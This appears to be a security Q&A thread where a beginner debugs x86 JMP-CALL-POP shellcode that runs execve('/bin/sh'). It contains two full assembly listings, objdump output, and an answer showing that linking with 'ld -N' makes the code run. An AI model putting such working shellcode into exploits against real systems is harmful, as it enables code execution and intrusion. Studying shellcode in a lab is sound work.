I write this shellcode for spawn a shell on the box using JMP-CALL-POP technique but i keep got this error i don't now why !!

Segmentation fault (core dumped)

my shellcode :

section .text

global _start


jmp short qan           


pop              esi               
xor              ebx, ebx          
mov byte         [esi + 7], al          
mov dword        [esi + 8], esi    
mov dword        [esi + 12], ebx   

lea ebx , [esi]
lea ecx , [esi + 8]
lea edx , [esi+12]

xor eax , eax 
mov bl , 11
int 0x80

call            sh            

shell: db              '/bin/sh#AAAABBBB'

i got this error : Segmentation fault (core dumped)

i checked it by objdump for null bytes and did not found any :D

arg:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:   eb 1a                   jmp    804807c <qan>

08048062 <sh>:
 8048062:   5e                      pop    esi
 8048063:   31 db                   xor    ebx,ebx
 8048065:   88 46 07                mov    BYTE PTR [esi+0x7],al
 8048068:   89 76 08                mov    DWORD PTR [esi+0x8],esi
 804806b:   89 5e 0c                mov    DWORD PTR [esi+0xc],ebx
 804806e:   8d 1e                   lea    ebx,[esi]
 8048070:   8d 4e 08                lea    ecx,[esi+0x8]
 8048073:   8d 56 0c                lea    edx,[esi+0xc]
 8048076:   31 c0                   xor    eax,eax
 8048078:   b3 0b                   mov    bl,0xb
 804807a:   cd 80                   int    0x80

0804807c <qan>:
 804807c:   e8 e1 ff ff ff          call   8048062 <sh>

08048081 <shell>:
 8048081:   2f                      das    
 8048082:   62 69 6e                bound  ebp,QWORD PTR [ecx+0x6e]
 8048085:   2f                      das    
 8048086:   73 68                   jae    80480f0 <shell+0x6f>
 8048088:   23 41 41                and    eax,DWORD PTR [ecx+0x41]
 804808b:   41                      inc    ecx
 804808c:   41                      inc    ecx
 804808d:   42                      inc    edx
 804808e:   42                      inc    edx
 804808f:   42                      inc    edx
 8048090:   42                      inc    edx

then i try to test the another shellcode writen by Vivek Ramachandran , the same error :

global _start
section .text

    jmp short call_shellcode

    ; JMP - CALL - POP  =  ESI now contains message
    pop esi

    ; Zero out the EBX register (will be used for filename)
    xor ebx, ebx

    ; Move BL (0x0) into [ESI+9] (the "A" in message) to null terminate /bin/bash
    mov byte [esi+9], bl

    ; Move ESI (the location of /bin/bash) into [ESI+10] (the "BBBB" in message)
    mov dword [esi+10], esi

    ; Move EBX (0x00000000) into [ESI+10] (the "CCCC" in message)
    mov dword [esi+14], ebx

    ; Load the null-terminated "/bin/bash" string into EBX for execve's filename
    lea ebx, [esi]

    ; Load the address of /bin/bash into ECX for execve's argv
    lea ecx, [esi+10]

    ; Load the address of the null bytes into EDX for execve's envp
    lea edx, [esi+14]

    ; Zero out the EAX register
    xor eax, eax

    ; Load 11 (sys_execve) into EAX
    mov al, 0xb

    ; Call interrupt 0x80 to execute the syscall
    int 0x80

    call shellcode

    ; The CALL places this at the top of the stack
    message db "/bin/bashABBBBCCCC"

Segmentation fault (core dumped)

my system details ( Ubuntu 16.04.5 LTS x86 ) i just compile my asm file by :

nasm -f elf32 -o addr.o addr.asm


ld -o addr addr.o

i run it .. got :

Segmentation fault (core dumped)

  • This question is unanswerable without details about the target application (disassembly of vulnerability location, what protections are in use, etc.) and the crash itself (faulting IP, registers, stack trace, etc.) - even then it's a long shot.
    – Polynomial
    Commented Feb 18, 2019 at 19:42
  • i add more details check
    – evilcode1
    Commented Feb 18, 2019 at 20:11
  • You did not add the details I mentioned. The error "Segmentation fault (core dumped)" is useless in this case; it could be literally anything.
    – Polynomial
    Commented Feb 19, 2019 at 11:40
  • how i can get this details ?? im new in shellcodinng !!
    – evilcode1
    Commented Feb 19, 2019 at 18:11

1 Answer 1


ookkk the code is okay the problem is solved :D by giving writing permission for the .TEXT section ...

not work :

ld -o addr addr.o

> [ 1] .text             PROGBITS        08048060 000060 000037 00  AX 0   0 16

work :

ld -N -o addr addr.o

 [ 1] .text             PROGBITS        08048060 000060 000037 00 WAX  0   0 16

-N --omagic Set the text and data sections to be readable and writable.

enter image description here

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .